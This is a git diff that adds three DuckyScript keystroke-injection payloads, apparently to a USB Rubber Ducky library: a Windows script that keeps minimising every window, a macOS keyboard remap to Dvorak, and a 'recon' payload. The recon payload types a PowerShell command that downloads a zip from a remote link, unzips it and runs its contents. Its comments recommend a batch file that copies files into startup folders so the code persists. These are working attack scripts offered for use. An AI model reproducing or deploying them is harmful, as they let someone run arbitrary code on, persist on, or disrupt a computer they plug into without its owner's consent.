Title: Always Minimize +REM Author: LyQuid +REM Description: Minimizing all windows within specific time +REM Target: Windows 10 +REM Category: Prank +REM You can change the delay when the windows to minimize, 1 Second = 1000 Milliseconds. Change on "WScript.Sleep" +REM ============================================================================================================== +DELAY 2000 +GUI r +DELAY 200 +STRING cmd +ENTER +DELAY 500 +REM = Make sure there is no file named minimize.vbs = +STRING del %tmp%\minimze.vbs +ENTER +REM = Creating script = +STRING cd %tmp% && copy con minimze.vbs +ENTER +STRING do +ENTER +STRING set oShellApp = CreateObject("Shell.Application") +ENTER +STRING oShellApp.MinimizeAll +ENTER +STRING WScript.Sleep 2000 +ENTER +STRING loop +ENTER +CTRL z +ENTER +REM = Run Script & exit cmd = +STRING start minimze.vbs && exit +ENTER diff --git a/payloads/library/prank/MacOS-Remap-Dvorak/payload.txt b/payloads/library/prank/MacOS-Remap-Dvorak/payload.txt new file mode 100644 index 0000000..b3d65c5 --- /dev/null +++ b/payloads/library/prank/MacOS-Remap-Dvorak/payload.txt @@ -0,0 +1,33 @@ +REM MacOS-REMAP.DVORAK +REM Version 1.0 +REM OS: macOS 10.4 - (Present) +REM Author: NateW +REM Requirements: Any DuckyScript Capable Device. In my case, I am building for a FlipperZero. +REM Description: Launches terminal, uses hidutil to remap All keys to the Dvorak layout. +REM More Instructions and Revert Script https://github.com/nwhistler/flipper-tools/tree/master/badusb/MacOS/key-remap +DELAY 200 +GUI SPACE +DELAY 500 +STRING Terminal +DELAY 700 +ENTER +DELAY 700 +STRING hidutil property --set '{"UserKeyMapping":[{"HIDKeyboardModifierMappingSrc": 0x70000002D,"HIDKeyboardModifierMappingDst": 0x70000002F},{"HIDKeyboardModifierMappingSrc": 0x70000002E, +STRING "HIDKeyboardModifierMappingDst": 0x700000030},{"HIDKeyboardModifierMappingSrc": 0x700000014,"HIDKeyboardModifierMappingDst": 0x700000034},{"HIDKeyboardModifierMappingSrc": 0x70000001A, +STRING "HIDKeyboardModifierMappingDst": 0x700000036},{"HIDKeyboardModifierMappingSrc": 0x700000008,"HIDKeyboardModifierMappingDst": 0x700000037},{"HIDKeyboardModifierMappingSrc": 0x700000015, +STRING "HIDKeyboardModifierMappingDst": 0x700000013},{"HIDKeyboardModifierMappingSrc": 0x700000017,"HIDKeyboardModifierMappingDst": 0x70000001C},{"HIDKeyboardModifierMappingSrc": 0x70000001C, +STRING "HIDKeyboardModifierMappingDst": 0x700000009},{"HIDKeyboardModifierMappingSrc": 0x700000018,"HIDKeyboardModifierMappingDst": 0x70000000A},{"HIDKeyboardModifierMappingSrc": 0x70000000C, +STRING "HIDKeyboardModifierMappingDst": 0x700000006},{"HIDKeyboardModifierMappingSrc": 0x700000012,"HIDKeyboardModifierMappingDst": 0x700000015},{"HIDKeyboardModifierMappingSrc": 0x700000013, +STRING "HIDKeyboardModifierMappingDst": 0x70000000F},{"HIDKeyboardModifierMappingSrc": 0x70000002F,"HIDKeyboardModifierMappingDst": 0x700000038},{"HIDKeyboardModifierMappingSrc": 0x700000030, +STRING "HIDKeyboardModifierMappingDst": 0x70000002E},{"HIDKeyboardModifierMappingSrc": 0x700000016,"HIDKeyboardModifierMappingDst": 0x700000012},{"HIDKeyboardModifierMappingSrc": 0x700000007, +STRING "HIDKeyboardModifierMappingDst": 0x700000008},{"HIDKeyboardModifierMappingSrc": 0x700000009,"HIDKeyboardModifierMappingDst": 0x700000018},{"HIDKeyboardModifierMappingSrc": 0x70000000A, +STRING "HIDKeyboardModifierMappingDst": 0x70000000C},{"HIDKeyboardModifierMappingSrc": 0x70000000B,"HIDKeyboardModifierMappingDst": 0x700000007},{"HIDKeyboardModifierMappingSrc": 0x70000000D, +STRING "HIDKeyboardModifierMappingDst": 0x70000000B},{"HIDKeyboardModifierMappingSrc": 0x70000000E,"HIDKeyboardModifierMappingDst": 0x700000017},{"HIDKeyboardModifierMappingSrc": 0x70000000F, +STRING "HIDKeyboardModifierMappingDst": 0x700000011},{"HIDKeyboardModifierMappingSrc": 0x700000033,"HIDKeyboardModifierMappingDst": 0x700000016},{"HIDKeyboardModifierMappingSrc": 0x700000034, +STRING "HIDKeyboardModifierMappingDst": 0x70000002D},{"HIDKeyboardModifierMappingSrc": 0x70000001D,"HIDKeyboardModifierMappingDst": 0x700000033},{"HIDKeyboardModifierMappingSrc": 0x70000001B, +STRING "HIDKeyboardModifierMappingDst": 0x700000014},{"HIDKeyboardModifierMappingSrc": 0x700000006,"HIDKeyboardModifierMappingDst": 0x70000000D},{"HIDKeyboardModifierMappingSrc": 0x700000019, +STRING "HIDKeyboardModifierMappingDst": 0x70000000E},{"HIDKeyboardModifierMappingSrc": 0x700000005,"HIDKeyboardModifierMappingDst": 0x70000001B},{"HIDKeyboardModifierMappingSrc": 0x700000011, +STRING "HIDKeyboardModifierMappingDst": 0x700000005},{"HIDKeyboardModifierMappingSrc": 0x700000010,"HIDKeyboardModifierMappingDst": 0x700000010},{"HIDKeyboardModifierMappingSrc": 0x700000036,"HIDKeyboardModifierMappingDst": 0x70000001A}, +STRING {"HIDKeyboardModifierMappingSrc": 0x700000037,"HIDKeyboardModifierMappingDst": 0x700000019},{"HIDKeyboardModifierMappingSrc": 0x700000038,"HIDKeyboardModifierMappingDst": 0x70000001D}]}' +DELAY 3500 +ENTER diff --git a/payloads/library/recon/Drop_Zip_Execute/payload.txt b/payloads/library/recon/Drop_Zip_Execute/payload.txt new file mode 100644 index 0000000..a07259c --- /dev/null +++ b/payloads/library/recon/Drop_Zip_Execute/payload.txt @@ -0,0 +1,26 @@ +REM Name: DROP-ZIP-EXCECUTE +REM Author: Lumen +REM Description: Downloads program in a zip file, then unzips and executes it +REM Target: Windows 10 powershell +DELAY 1000 +GUI r +DELAY 300 +STRING powershell +DELAY 300 +ENTER +DELAY 600 +STRING Invoke-WebRequest -Uri -OutFile "~\Documents\My Games\file.zip"; Expand-Archive -Path "~\Documents\My Games\file.zip" -DestinationPath "~\Documents\My Games\file"; Remove-Item "~\Documents\My Games\file.zip"; & '' +ENTER +REM Invoke-WebRequest gets and saves the content of the URI given to it +REM Pasting a dropbox link works well here. Just get the share link and change ?dl=0 to ?dl=1 +REM Expand-Archive Unzips path to destinationPath +REM Remove-Item deletes the zip file (just to clean up a bit) +REM & tells powershell to execute the given path +REM since powershelgl opens at C:\Users\%user%, a relative path can be used from there +REM using %user% seems to set off a red flag in powershell, but relative paths work well +REM ; allows multiple commands to be run one after the other, so rather than running one and +REM guessing a wait time, the command is entered and ran all at once. +REM once the command is typed and the download begins, the ducky can be removed and the +REM computer will take care of the rest through the given instructions +REM Best when combined with a well made BATCH file to shift files around, make multiple copies, +REM shortcuts, and move them into startup folders ;)